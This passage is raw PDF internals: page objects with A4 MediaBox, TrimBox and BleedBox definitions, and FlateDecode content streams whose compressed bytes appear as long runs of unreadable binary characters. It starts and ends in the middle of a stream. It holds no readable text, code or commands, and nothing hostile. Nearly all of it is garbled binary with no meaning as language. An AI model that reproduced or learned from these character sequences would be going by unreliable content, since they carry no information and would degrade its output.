ay/."Sy߻ +m^7;_Vqyc>~Ԇԥ|ۙ&tߵ{dgXUJ(>W4 C7EOX*H'+:{כY/׺e;~Yu^tnFtݴ\@ahP@vuؾ5;ۄ^#Op/ڳ܏ݝx爬dV`)}tT}-N3B./vY)wi{ZϠ@od[[rgm3f +6}ܸp;ly0!wq|O!DۍteGAmߧGa;`0pqZ Br0(ӪL_1H;ZI3VA _}3X5--CgEߋO= `XvpܯN~2 ٳ2[)_k;acƎc0Fnr+Jo6M{>O֦ZAtZ]yƛoRH350Ȗz?Gؔ@I^%p徱WDu d:K}oFxv 0>;Cvreӱ׹*=ۡ5F~-{xk / cN0,?Xc.H *U;e(=|aTZUQV^*[l~58 p)5 >pN,2 0`°S\=N}L8?&|tp-)+ɖ}^X+!D93S5Wοsl4Wʫt;ʢTfPئ{A;ݯUMi@zefZvxo-OEvἎn~8 Fҥn) 6E{]Va$Zp`-(+V0CoFM\༇5r5`#fVC +ShjZl0-:LʩNAZT68\ڪP %y*@gax +;ͨE=4&օdyبNoGYl^Aexu}\3ׇNMDZ|fuݵ7ͲȃbMǨ2ON41өpfQ%G-WV^ѕ?r-ޙ\,8}UOgs_5ٓws}zV#lp?]2Z2̕o~]|P;>:]v^Panj&$197X(D4ޗ#&& RPz3xfo|=?0ÚTz ߄># V;)r +endstream +endobj +1653 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1652 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1654 0 obj +<< +/Filter /FlateDecode +/Length 4408 +>> +stream +x]Yo,9~ϯw[BH<.xL /q\>U|^!nt>v׉~&`!zg^$~X=Ƀ6uʒߓ'-i,}mP Z[c=Ư=Z(D'#^KFx*i[28>fQe (°T)P^B;Olvn +6E.̜ٞȒ(2ˇR M@裲\RS&[R>π%2gIƍw)@Wjե[֥~:ljQ~9E1ʨIHb,zQۀQ(g0x3:z Sٷ˺ 'B)֤Fږ![Ҿ 1 y!*JxNߐԒF|%K#Rû7nZFxVF!˿: @]!VLaywg]VDzhCS{PN+6zvI2 gDKbs >`9^U +bH+mhM.Uy[ޒK=x?qu囙l#)!YV=2 JǍM{w scoQND+ ֣4ŨyIJ ;L3ZRsq_?YY!k =[K zDVJWMwyz%jecGu'ƠkɂiRq'٫aٕ7ƃÐt 8_Tknqu .tx3GUP{O@;~>Qt?/Oj#]=n1xm6g'J%1# 'I[*a2TNkLZ^~ /Go)i6rP9UM(t܄žZS< :AJڢBW`9g& ]>sœggs|Z] YJq9PLFDze[:js^|9/Fw!<Q<0#`kʳ@`O9 ?a3dZ̽rQ2 +}f3\RsSHpgdA([z}L=rP9wyi;ŌyFɦs )V:wז#+}u'4M^ Ypù 5N < YL汲 ]%O,TEݶ75 +sw6&ݻZ ۅ+e]Ky t JoE#-iZ'j)VKIp$o=0\Sݤ-T9]ȋRTG^D99g5]rSPMSGfv2t2@֓uTGH]4eaEC>{MQikbJ)k`F-b4L a &ʡ f|z~SS 3dIT#YXIyF]F& .tA%ZƸ @HO ݾySH)f~AT=ͭ:8G!:i7(_ʮo +endstream +endobj +1655 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1654 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1656 0 obj +<< +/Filter /FlateDecode +/Length 4471 +>> +stream +x]KoW0 1$ +RMrkHcWCVFtWU.6i/9=cpo??y3zd71R1g!r~._͋O}z._vIBCBGSy+g1xDuY|Jf~җLjp*C8$vϟ~~1N=~׷ק?Rg,+xCD/gC +ӠΕO#Ӥ<o)tV^Ѻ,1l f^i'^_߹wOg WJ$Ew9%t> +Bizw/.j|Hb[sNSy4t>s}++W0ٵ{ۣLlb)Ѓ֓ZÒ73E1nz^@s+6Yor;:B.ٓp@x5Sy<Z;oiq0~% fry$^E@.jpu̥!&2r!fpmEFz(8饿HDR,һ nPlT'8Jd#c*b iDF[0 % ?ji[j )Vzkd$kJ.2NC^G"c d7Zɑb-3 -'Fg/bDbŠ` tu5CJ e[S@'WUp^aT6E- lR\z.ˌڥF -3<p>9l 6R,ep3.w.UP>;^] d9g(U`FY>sNAt?mrZwKϧhC%aE4ؼn(j*],QH'Bsw}k]ܷomƟy,&^]cͲ,ӏ[fYZ,!sZ-mQPZ]4gk{-JeuIν0v!<3/Ιa~]gb/uZ99nf>mK\%PG\!͝칅>[lU1.Aci\h[:Ql@ܷp-{(aև9kАpB^] +i,`??iUzcƒlՒ-`-U)-BےIP+fIR]GyC"8m:?X#C&S + ޳"C NQSٞ 龆O:?( *`lؽ騖7erx_uSsq|2սt2bX NZ\𨶹U¼O-@QВLz7x2i.¿4x2:iML ZPZ+Q}2/цUiiR p>;cM ͇!fRU>,ρ>Nm,n뫛9@s4˩VJ֜i!L K0޴H`x͖([F| +9'PucZfʶ3$v)P9ɚ"FvƆÊJW+8t1nJ􅵐uO$g m]Nn5JdHʅ"$ь7.=H${2NQp g#[֑fcnDC)LK{:A D֘tЁL0U"rYtX$^Dv{ѱ{ۻSt[vQ_n*'V^sކ*Ȓ 7!֫\ᤀ-8)`[u00 `lSWZlSӭT7u7̴?# 9w8!# i^h[hG+fT"Npnv4@'ΐD h9ҥ>{=zJ$C:h2t (0ܟEkyta!1 8#:InX.3yc#]3M/M r3|sR|>tȃcvY]4ciVu? +WD*o5>N<.Ae5 +Kvѱe5Pщj.St[Nvތ{WqaW-taշtW1- UfT:" +Wj5e :"TN= p"Y"ժB.u$VY7dblY"OV|9TYHSeřʪ6*{VGg7UD,`?98?vMw4x:X u,+ƒLf|3HKs嵟[:j&Wpl!ݮ5 +VgtdW,oAKeDx.i@XC-*'1`ʊr!E +33L*O{*{J)ʞ۪~0 +p^[QJzmhZk!,B2wif~Cyf:eaU^X˚ϵ9\a[`}Xxg:xȋ> +#:͟ݾη"dHlJAE.TmI7l +R"a#<7\{334gsrb ZC%i %=_Y +%Y1\w;H܋O\u +M,abRY;emtlY&uu -()&OÈZ USo܈/s!{69NO}k;P>Zѱe g( +okUH1W?@!Wlћ5@lo]eع:5g}s9Ĩ3́%7H,5"lĵV=As>YrYs>z>|@携} Ƕ/6o!DZ;L9ZkKU%oS6Ո;PqEn9J!i|mmb [r-;a ǼsUm} +P.CeS[Qu}]?*Eզ)2rG]?UT &/f yF09Lt2V~?嫼U Y_>蕟ƿ厦^_&`KkrCV"KX^>UN4$  ޚ4*ě\z濫(K)N*)t!,~{ Q-md85~9.z^(Kb +endstream +endobj +1657 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1656 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1658 0 obj +<< +/Filter /FlateDecode +/Length 3445 +>> +stream +x]n#}W aaI@k)[f%&)2FeEV֝Ք:JU"=>vv"8Iʟ6F1(/#?>dD2pTJkT;1%^hiw9'Gt] -ש"y=_lv +Ѱ:XrbԋzPRX<͡dJo~ǣ"x<~}9y_~YADZL0YH$C +Ρ^hwhI]6ezӖQ ?GxKK\꙳ԱzBZ=6 T(^͒kG`HrIt)$9?Ls0] Dm1Qh ɖxOzHY|#da]/|M&y1'ABP4YzOעng iI>gmAu2 Kq@jpQq6Z$%sh ݣvYL0+$J0XtEQd.Hn6 8:B;䆼~Yho lM>ZA>H+ eΪAA:Gp5閣,ݽ–0.+k@T^Nr0oR%CD̟13siQgW,;#:{yJ8M {ڣ5gm$d ~9'(xs'Mvv)Kλ廵:E©H֒8FzH莜˃4 +/F9uxi'4wܱ\oq:嚲I"䧵"WēByv+m`'^;(`30 iy{IK\!#c) 6HwxHe +{tJč%Ng 2%0uJr_ Fiz@ $o8M 6pS$j+HVF8Tcp,̀{,@[yɨGsD /}1;c'v5%W, R1ή$Ru+ihjuvVCZkRFG+:<ꡏ_w:3R?r̯44ác?]K#s7< +]Oي~ bp/Ri_cw%J-Y#ZF8u98 55Nc?"KRJFhcb(%5vb(3Q߆hQtZan(oKTCĮ(0" O>cE95f@r ݖg^Qkw7 T bp58 0ݗW*Z{6zDm*8E9LҌS|lt"]9ZaERp^F)|vR4 ]âK7'zŹcaQӾ)w|xf&j}OTJVMWu\0WsX;G l1NjM, أBny|d ^(MQl'Ș+c>Φ=HҨ}FρB7hc't[5%껲ϱi{>G3NR|Ozd +b ;lĞ@/Zϐ&M[)-KQ4ZqbjzVQ=Ÿ>#/EˬDFvZO[dYi߻$Ia[uOx[':;.f c#[l֑f(-h(%g4DgI34,)\r눟HǨg=>G$iEۋB7hw't9b"鏗w{w7tmʼnUלz,'o:+td  +xUsF9j6u{Dբ8:bs=P_G)VhN#Q$L:;FUVЃL:d:I=L:OZnhY))u"lc$ˠ[h@I]Cp{$/QYdpK>RJDkbA )({w5'BiO0ƗDrr6)=Xխ}MLltvNԮ>> +D7PEd\+LK ieW/.הgO682*e?/Ǽ|1snաa2{&!?fe/#N:(6l)S$!)4 /v"Tr5鍚Yf!pYP&\+ 0<~4}N`ARI=c>ͱX `~ +endstream +endobj +1659 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1658 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1660 0 obj +<< +/Filter /FlateDecode +/Length 2980 +>> +stream +x]ێ}WeN Cd'yH\ ;nH&)3nHV.k ?ɑJ)owZEq_F71S.%Jy))"m,_Vyg_>Ϯ|>f1=1Sɗ;h_iGRzw_cW?Wvv=qeA6)ᘌrie}<^zwYYov!*c$]{sI-/c;jUڡCluCJ*igC¦_/Y_gf^+C1y*j}9$΁#zq|_Xcg{]>%mmb;r:lCvYkoewUw>*ZkuS[qooS,I6@Nl9gê;ڈ_Gu+y:҄`֦n8nD}bn|Z,gʠI'xʍճ:-p@In²p8n<4& ) g~GS+/,b8ߧrfOK1-Lkvk"مy=3\*y +ʹJrɾnCOLV˜ JTp^Nʧl6DI3iŬ} $.h7ץ ׊A2ugE$gh>}ʛ!g]nas]5h8 fjt $ې&0Υu;s R7ϧaDM;ؑ% _BcC!9C uL1.vk |HFHTt{@7uUoq浚rMyaMjµdb( 0iYu VC[mn^Eʓv%02F!|F;A-u#'/:&σW_Z:L*BG sXC G8!yRѬ5=J?K +Kp]{NT8O E 2SFe|9UwrThX6uMIX#81G%>T0߸/ =;+/X}s̥vg& ̤s5'PL.wK58q!!Y06_5OQЪg(%bH&thGFnmEɳV'RptvV) /%V;y#krkP,K%vC8[uNx9.s3{c8Fru&`cY'[6LtTIkVs()e}Amقr̪gƔh m]kz5c(.[ dw7m[]nj1?&b 3k%:drz#dwXi'\sc}M=:&19Pj^%͒npܳ䈔kfžU1PUqf'-oVѶVŅ?j[A@lk"v&r8;Ұ߃㞅2Mo3쎁" `vFkps2%3pӒYd8g {dH!p9h[6`ݞ=ӛj"ԢrMކrG&9+{T9HVjxUpN;'@էs3|OT 3?VJ +,K{*֦x 55!$+ #y;-y+YJj*=OHu?2F숏Gc3 q~{|mtc*5\.\-_2h}(2<1D `8ӻ-t,xak|y5,<]d:> +endstream +endobj +1661 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1660 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1662 0 obj +<< +/Filter /FlateDecode +/Length 3670 +>> +stream +xˎ>_gIb  6 _ EKVIdt%ŪE FwrI +o%twL.__ 0!/^Ԁ/~z?OyAx)}VElC]ﯿ<}ߧ7ԃ*1UZ/ɦ:dH'P'A43 +k.|G|z@nFV '{^&|@6a>G{a041oTټ{(+CHLt~W3׭+<}4Fa4R0MHmy%ͺgw/oQo}OwFޝz(PvXQu'ݔSKcwuUPB4gO.k>9+7iGZ'}&]ZÌvˬ 4k@ +>DB Ú+Motag ѥ'NBt~_@w^kS./ R%+ygkcm{?k{6[;K$o] 30_ ({ȟm?mIhQ6ǞB(Mm 9JϮs՛F&`wO@v׿R{':"YCz5!Įz/ +CRUy{|8ذׂ1GBF릗qCC؈π)f`Ou' Mq|"T ^S +Ӏ.XItOCxmQh 04.Hr8,o*pJ ԧ6x{`k.JtvgS7}ҳ/yUs `H2:"KcZx`n*[@%I"fMc[-P[Ix@< e6(l@y`v. IGNrh>!hSpfLZL灹}|:v FȠ0KJF:yl [+\&M$1"WzETg3k#\c.&jܴkJifRgͅLF W `p?{m& +cL> *ƝWh\1}hTRE.n=rȺ +y`&Scې#0<:!cDMOL*9"}1UkjJ(L63EYAFEljP茈:j`̢{:L :GdyHH^ ?A!QVP"@sʺ3 if璷LƦ>F #{D5&)?C]"C`S7TPE U 2`EgN)tb.>Gh|8Bwfã[t^ ўV]{ʇ8kH ud c|SUyB;z +" +ϬY.:J3cV2@V&'urR3+V5*Q! 6?9WL91f=qL2`QO㽒]K tyXMQ%ƣi]8,#tTVҥi!a\9kL72z1qQ#R[g=u㊯3_́jzX3; e?FKMC/ػ.{_Hmǖweh vk1kB_/ep7rNXĪrlB! +S9&lJF0vRIt >!FgO鳸kI륌g#c>3q ֕ 2 1mKG;`*cpf S!8/$S; 2Ȅ]P̈́߹*YLꄜ1ni1vMh(-rr4Y+Sa&ط6?`e%=C : +mxbwTE0 f=BO&] fЈim`Uf! .|~`eQYw#g4~J {_o_]4ZeUj6*?et&ӗ9PXă<`̰̌=q'q2NJhBy ["X4vFf<_0I嗢pQƃUZ`#U6Ga7) +CЯ:z+:v-]h+" uZh h6F|Del>=CWح; Ggv#Ե<"Y΄w`%b]61T8cC.!63Iw.Tj4\^EW;FIrLɤz]z`3*5ӊ ,%Qʡ@7Q-ШKZkpHcG.dFЌpF1* ga$61|t3!%f8ިHNRҊ96O^ cyԅ_.\V4Rf쏏^c7KεQ╝)<`x"fX#y$4w6GYM0i3H-qy}fBI<0U0dyA֖wnhʼn k*&°Iz{pI;vvM0LTBaf|NyY6\Ob 6JN*J/ 8L9si@Y )gz w+9xR<3-TV9YbۈH9,GG%IprCYÖ.mvTCy&V`WvMjM&X uD“lZ;CBƒ8IWrr+]RV[ŪbQqΙ)$2Yʚ3e!u5A_%ٖrP6r=b9zR8k3"kV ;2r?Q5UdZ@~>ԄȪ:@ + MEr%sP> +endobj +1664 0 obj +<< +/Filter /FlateDecode +/Length 4000 +>> +stream +x]K$ ϯ?cNrpyA;cO`bz>=jvOwHbD?_0R3ϯ<4 o'7_c~I{U=G#L2g/rR^ZXOyJQ ?M>g)VFlB>~~}z#B g{{tV{ y$sh*MԧeJcT&ah<9y̤y7}gwJӿ&e+=Jz)YfiX/v{nr]zo,Gzh^oZ|~~9ӑ+mldžLgc;E/Y>g^͕ݸmf̧?IJJ,iXyCMLSz)yNՓ㿙V"N0IYůI&b6pV2[v͝^mm?άd^_V5*2_~,#5HÆ֮7&$y̶6uW(O8(mzܭWz a;)dPmФw- /ǫDMZh%>#0yQzzgP(g]2n wU @uwi +4MN}9j +/5QHmZ9.ȏHdbD5֣dnNoGNuX&W3m905B[p2-} ^i*-IAMuŽ<)Nt)VP(r*:RkX# +"m-ZACr_( Ѡ2tQl:_$u7ɉByGA&i 3Hlj0cߑ; di W?0:)F%7JQJ+2I:wIJ`L7`I9mX {35Ni# 5U C,WߠtyuZ2 Abb1zA[S!M'ܫ#EF~B-rK*x@M+cT1-P9ugZr橆IjTyBjq(hc<!fZ}ݗZs>> +0.As߄ wZ}].vV%{ i +W\BZN9A2}\ oQkv+l\uh]H/u1-A>/-1M^ZVJG*C!o[Ƒs0ʹϑs09G}Ώ|JZ,6vo1y%'HT<ȂI2.gh)z{#S ҫ QjЂe;/4%pc{ &G9꣝h[8ZөʢA kńu~? ˙#ӱZ/HOl}sQ&zJߑofh%: ʤ*T-:sr\۬աs-ٶrT1zm],qEmmjiOζmnƳdVeoXRjzX?}]dFvQ9lgm W{R/ *\{.YɏJSQ){uҩs]ƹ.TiʁR;(UgQ:PYm/plҳl:JoCCo?vh{{ }#[`ܻ|G~y߼P^]0}H΄1oZ6)p PRrn*nfP]ny(=?⮐cJkw區E&|1]!>I|$OZH+w8)B>env\?*7;Ѳ/ns\/1ƹ~Pꗺ~P\?Ho;4z]qƺ~7ΤzX89w!f7ׂY'ѶQm#pöܚB4\u\B>8&HGgAUhfh.AZ'|T6XC"/0484`, D3s끂[a~&><0w j/x|߻I $'{'uH5)9'7)Ctў5pAa vhCrQcnؓ]hêfO#7P꧳;:wpN F%TμRKMcR^eè&*.u=?î\5A& vaPc7@e,j] AzkOWVeVsF"l4X./Tֱ*#?xnF=;W6Cc|RX:~g #̓-@̝c|:P6Kϣrc:BC$̶7OVmCg0ZeZ+ʙ +Uw&37r#FAחo_7U9-*/J1-zPa'X(]ً>8`,5 < +y~nGb0g\i3. 3LƅPSP{ HV-P]7):d\*כ9BFXѱ#ˍދEH0J/eGJº6G:i㕘_e~)2r&|gkw߁3PM]Pw([Ciw ` w+ +ߡcwދEX'ߋ_܀$w ȁ;w2C2 +/KO0;TBn3'X a9j :^nyh'YgqDy|ظrn]pbQĢ|[!J +n nGtqQ|9v׈,҃GaQЃ⑛TqIXuTڽ)~ +endstream +endobj +1665 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1664 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1666 0 obj +<< +/Filter /FlateDecode +/Length 3456 +>> +stream +x]ێ}W !@&y`,䡻3O`7(&iYXr{LnYXU<*iu;EED)x{|A$h~#}z0AtdQt * +61Ycd8! 1Z8|t +u_|E ywN_O s)ZaKnK-E=6B+`0ŨA2yP2hVw"x<~y?Yp~EmQ9.R:MJJ/_魠&}9Q˫6%̕-ϑ7zLk&I 70Nwiゐ*əezR[<ۿ#]D0(LD a DMDaF% 8.9(șy| +PZze@Oo[":"c[Kb2fm~ dEJћ0ĻTV\#/s4]g!MWoԐ& Dy5_'"y5k +zHj:zK֫:ZOeiɤ~ySW LV炚c ZTP&Ḅ"ȇ9RF!h/A>=q +xɇ=)d}3 YJ`ba ,/\zrr@ zO*P >XZu["AP:%o<,o%A=y?5MvGղYMeHގTi)eQ:G2ִ9|M+ծ2̈".cuKکnA(%Z^h"-x6(mc,lȝYP򾥪)C-^d-# [PIګˍA$<޲a3+2!”zdµ([1ҍi>CB)ϯv8cD*y4bڙٰv"j- O%aCQ]w͂vvO^6"W{ ޚ. )[A ~ߊZm&x0I`*`Zj7'RB[ +q'DBZokJN, Za)X7ЕVXұ)xyLkR +URvRT7RRqIcuO|F~"=Xy5i#L+|K '@@ VYoKAL 6(ZK4>%s]ڦJUF1 6ضP(J؞̄PQ'71J#>`Z# o_B=P@<7]HJRJ컝T"&7haNI,b4]xݵ\+`qr4M$C쫣`ܖh؏_X +}j[lj|~ϒ Ϲي2뭶ն2ҽeUm!B`XsFHL>;{50I?֩~euJsx2,,Kpęx6)ᅴK1)_]s,ReU5hΐ~3D L_gH)-յ`_ѹfۊWH51<.vPEk_Hږ)ˤ #,6D!quavA%2~hT#mUI +[I۵zWIA187y7ؒed-z;ӷ'ӊG Vۗ@@O`#K`%!~Ed>Fi#L+|K '%brvl-KlOfB ,6[ +`x + lqw]"%Twu$qٻDPm0nQx,TL-P.PsjLjtgC緕Bw2ھ__pVuvb +rGB@ A-a! A dbs5>~éd#] ) 1CIkŰK)n r hζR̓hKGV0e#шM +)8{yG@<@gT倲s1R>Em˔&WGL-g-[BG(޾zxm(.gy6mddUOulrG+.{ ƭDzˆ6PsfeܱljV[ 0X:@;u~;C:@:PցZś}'<6 +|Hk1McF[Y֪&& +kq& ӱpn'˖+nCyY~?>dqvXLʸMӟ\Μ'/$ בCϋU{/O*VO̤ٝ@H8w,>rym0(7)0 +(irFx̿~4ֳuLtPj§ jΞ ?I{ +endstream +endobj +1667 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1666 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1668 0 obj +<< +/Filter /FlateDecode +/Length 3266 +>> +stream +x]ˎ+Mы&tdQ]3= Гr),Ѳ#l)^}[:VNJNrϿ_dT 8}Y{Ϗ>~4XoMP&RI\>hm}yv1ˠ8&8FhxI( 3/GOß{Ϳ>;T W—Ϥsҥ]\f}vc +>O)4yԯ*֚-40uKb _zGbs@*`xX b߯PDڱ)s 1"v%"[- !I$r)B$pp992_H /!F$ ^cؔF1Nd3'6'a\qbq\drzR/O,XtۗX#OF1@⃊ٸ䷅\2ʞS-.(G\Dwm6W\FC8ΖwDUr܃N{ZNሔgscdI=$^DI=3yEn?p + Z.&F3#/&@4[mRAZKZnڴ Rzyř4s@y' $C>Ep50AǹaGs泑@I \?cGJM1KڸrQY1'Z/-rbn򎳜wp)r +oG OP1ͭ(l(M$%#&avw. +;CSe <ͿZ#Ӻy_vnVC~Юx8eɺkD(׌fFTy"[/J"`dHەDj"o];A1$IdC.EHΟ0{r=km,`# o_AD@vIǰbJ~CnEdSTl H'+H2_Tȑ +/ F* c8eBq%b+sseQ +uy9Gm౛,o]˴A}szC r2a :]hO/kW]vL-[%s%&kc^q%v!-vSځfKJځ%[tfQlPd!fŗޗle3Teت}Q02b ޮh5H틢x-CvC.ENliϐr-|Y"#G"޾$Vx-CDRDɒ9&==p%02b$J"h5H')@1%er+")L**J9?M keI`x +X bI>P\Idž>jqGgnd8r-Y_6Uaf~?ti,882v\XRf'1뭭6(e@o*eLyJ(7?͓RL_uI)3]m<* +1 \J+{ hR̞J4[RJoI)# -8ߤߍ_DYJ)Rfz%U*M)H)eVzum|9&fGRԦ쯔vSʀbJo [uId^%͗%,2rK*`5 +'Aq%2+sŕ2E3۠]35YF%3_B\)Z(xr\kzǰ JJ Ff-R͑O/\y%̕˫%V, ˠ 2/P̠If쩙3&%T3aM8Rqhx=xY™+Kʙ+_2ẐH䊉gjjSϠ8R ~}O|}{y39!o}Nmcy- f*E_z^;N >cm0׆'>՘TɅ2xG<[{+DRrLz0Lsbog*ӛa +侧.c~-29AO +endstream +endobj +1669 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1668 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1670 0 obj +<< +/Filter /FlateDecode +/Length 3493 +>> +stream +x]Ɏ#+p_F 0|23ER[LFjwA-*0^D0Q1IW~)&1AEԆ4F8k _q!>$#!RZ ._ן?|QBM;aY_7X\K9G+K$5*yP^g 5#*2j-j7(Tk!=mK&hg CѮ(zߓmHeMF R%X!ؤ%ou:RԚx &zm"AG8#2C pq1J |Fe +S v5Ƨd20E)GM-X]H/aPFQ>%]$|IèjRJ~V:ҧr4ؼ*t"N D@k`s" ,V'`u"ǒljDBcpD:y>'׉D@zYP9_82 pǝ%DkW&lvSR,}OfPD42Ncש`s*} +h lN&'Ry9{;,tP&䝊 @M @r8Kg*5eɎm 1Ee21z9,gq @E-wֱ/0M QgFdvܠ& SʅU޾4*>G T*PVFPi 1Uޮ5*.BG T elsJ*TVNPi-uѾe_Pu *L|*p@ћ +y4B`B),` ,L|,pـ+rY9u X.DV`ѳ/0M QgF[洜Vp"t>ձ/0M QgF>X;5.: >`a8l7 XV)Ȋ#עlxg>ȗ +n\ev*V@rrɖ@GRn>[ܝ7wKwqkvu[uiH87ޑ1pq>8Ǩ`ȴsW >'BG9.vC]ٹkh/{~1B|k,b,l6^W L ~Q+d֓@zk28H>t|iYwԱ)<2/]}<^\1i@AzmzEOPpd=f$j%3"`.]O0GZֈH۫=W sZ ?%@zl[#7#vϪoP99}W"heYRG$W:/À|]jc梷"W`Mޛg^>}Ӭ8b;썋H],..`aH>T_)H+UO *-t۹BO/L: ;^Vaa{j7(hpۀOre^9tVPzsoYoXy X}Wl[Ϫu a9: +Ƃ\:ޜ9њ0Pt0p{Y'4h l *zBņ@GvA!0Ȃ,q'&6$轹Y޵u m:ښ^^2[P2%GA>]O`|%12evݽ}'b%ADzUV{sK'XpcN`[F{M )FtkQzV,¹ݍ +Ƌ۝ョAhG[[e6s--4 5pWl5DXw}fU1DBXOؒyb|pDbdPdoSɣ9۪Mgߦ[jHɪ:؎|~艹 J1XG5f11!6uY"Hj ıY-LfczXs =轇KRoQ7^:U3榲vy5ź6U p7w+Լb|]w#SW\WeARs^(NW\pieSp+0ZQ#jh  F _C0O}^~dSZ}2.!lpb6ӟOm&Lv>[=xIIAj1AMw f/8}Ǽfl`Yb 4Pc02"͛hfݢ1-@. +endstream +endobj +1671 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1670 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1672 0 obj +<< +/Filter /FlateDecode +/Length 4521 +>> +stream +x]Ɏ#W>0|誮Rb2%$)Ui"A"dQh1o/??$Ep+XR^3}d +TJImgߟ?AA)SGߡ߯?=}E y?OoDHj7>N)h^볖"y=Z~B+auNeqbԋIRXOG(T%:D0]WޤtZR_ }h~9'A n2. dVcOse1^1ϾTZyy[֪K 4) FwS &f6x=H3 +;y Iv2Mբ&z %~&qf`28@"}ID MA.,H RH)F|G2u!4&'/O1Ro=*2*JOsIjO&aE1OKO /\ !hf3s'san-L: ҧh`ni%)Gi|V[%"a6_emZk{>΋D|Y{db+Y(g`U%.$(XM3I!&;̛̒À+Qt Ӝq%t$e>$eCH뿷Q{!z$ =2yh#u{Y"t(xtgg"42g_g6(h{KY܈ }5{@E4GEVD ~if%(D)b%Ue)dI^&G%Fg]mh)#i}քb. ?e.!f[.Nu?weFbdN 9nPAMp& qont%C|oDe78¼!iK!ysbF +BSm,`kbh儴{J#jH;ruXhmբ́ܓ/e.6vAh)kφ@W]!V#*/ +NGna\8"p&2C&v$p7Yd]ܸ 3 +J8cGX% +e*V^J~^6UPt:)8p}!KRw> ~)|L:7˳}d")|϶ΣFÖ2F9¦XR3-i`"5R\SFᱻv( BqIljeϞ*QlgR֓"1W[ /rN_њLQ ,.s. tӒ)=QM-Wz&̲pnt+:GZ89З HOo oVP>Q`{M,Ԟ$t-]֓[]֎,8SyY7wH?wvVSJQ-M<yELvhΙX1kiŻ'ٌ;ISd*WbBke_߭ޮM_ P)j cn5ؼgX7'|lB/K55r\A}쓷_^l2& T?7nUT4VZQ>R#n\^Z.AO ꠼:(RAX?. r[3cK2w4~dYߏ^fy·ȓ{/ZXdźS@'j%ׁ6h=-1]ުmacKgm4gwLL:&BFx+TήIʐ7EQc>vȡ%yPQ'9nK<øk[S2&W1z[ zWe~a<1JheW>Sn=qr~l-xJ/*љqnu75ʶust ,S݆{lh[Ǩ-L(d(l[ש񔅈ita6(!乾`0L.:  ]B~K [b{TďȜ֢cH,u֖"*H3EE ==ltSYc }Ěn HϨir:x0LPeW,7 >gGSQI5fѝֻMv:._z>]WE3:]0R%FQdg(˓E\n/P=9VֽQ7]Wt5{l]|@b  vJ_kN'2PA+KQ頻J @! t '^FQ1HoXֹ[=d, ʂZҔ , mbT<| ݐ,hIYH) B4=D, .O,,hmMY8aYH7 BՒ=LXG<NgPcP, B|TtObY*|t,{vJMkÃ4]־nm#?W>~vv]= q>~qa:bkW❬OTU.|~>VU~v7g^Yrt"gs 7l~dp]R N/e <~=Es9:._ +u`Nvq.'{>챒 ٓC}_ {bfrƱZyɄE DbJaq;pۧgnV +NW%zJnS2ʼ40%㪣]Pz#"n3-m6GlhAja j6E٪7,l)dYqVѱezjwro9KC<Ka0zmX +{(h>K=BK'R=B'm<ǁ6P{@ʺ@6qm_kmɈu}|f"8XІlmA6˱ @%F+-1V ֎:r|`m58O􇺉c^.0g#p#SRc߽fSj*Lk4eyqoư52 zj ;ӶsU[_;ơ`dp9v|ٹ݂<4zgj+o}glP-/ IӲ,,G~z|:] +ѱ>Mvc(z{Zv\LIM)W (*A0zMPFtYxUoޣ@"$)~ ;"b9W=ƥ@|gƹ5I0z;gvc_) 9#%T"+gn7mfe>Uaʯ΋I*(D ӳ.YpZX[Yq)JR" >? ^[(FSg|q}mC\;ηs{$bޣ;)/xp96W䪄V}#"PVtE+{_C$zK1 : +EtxBl^tE[;m>)?yWw1] +)Jҵev/&LBoT~zn?u9byۗ|K8AIA/&OFiJ 5M#4>}mw;ε Y?e +endstream +endobj +1673 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1672 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1674 0 obj +<< +/Filter /FlateDecode +/Length 4372 +>> +stream +x]K$ ϯ?Y!@bI6 aw'P*zu$uڈE>RJ\8|Nା\z3g8ޱ%E9悑^f{ τRJ1˗%~λR2#&C\/?|I0~/o@h"U5L`yL#gYlyL +ᬁaFPx/(9 LwT_\ng/f C_quڕ'\ %;ܷm ܕstD–֩8Y:m1>jD..ʸU.0JKa#x##bb$,`WF{NXaG jp$㙊o!78B 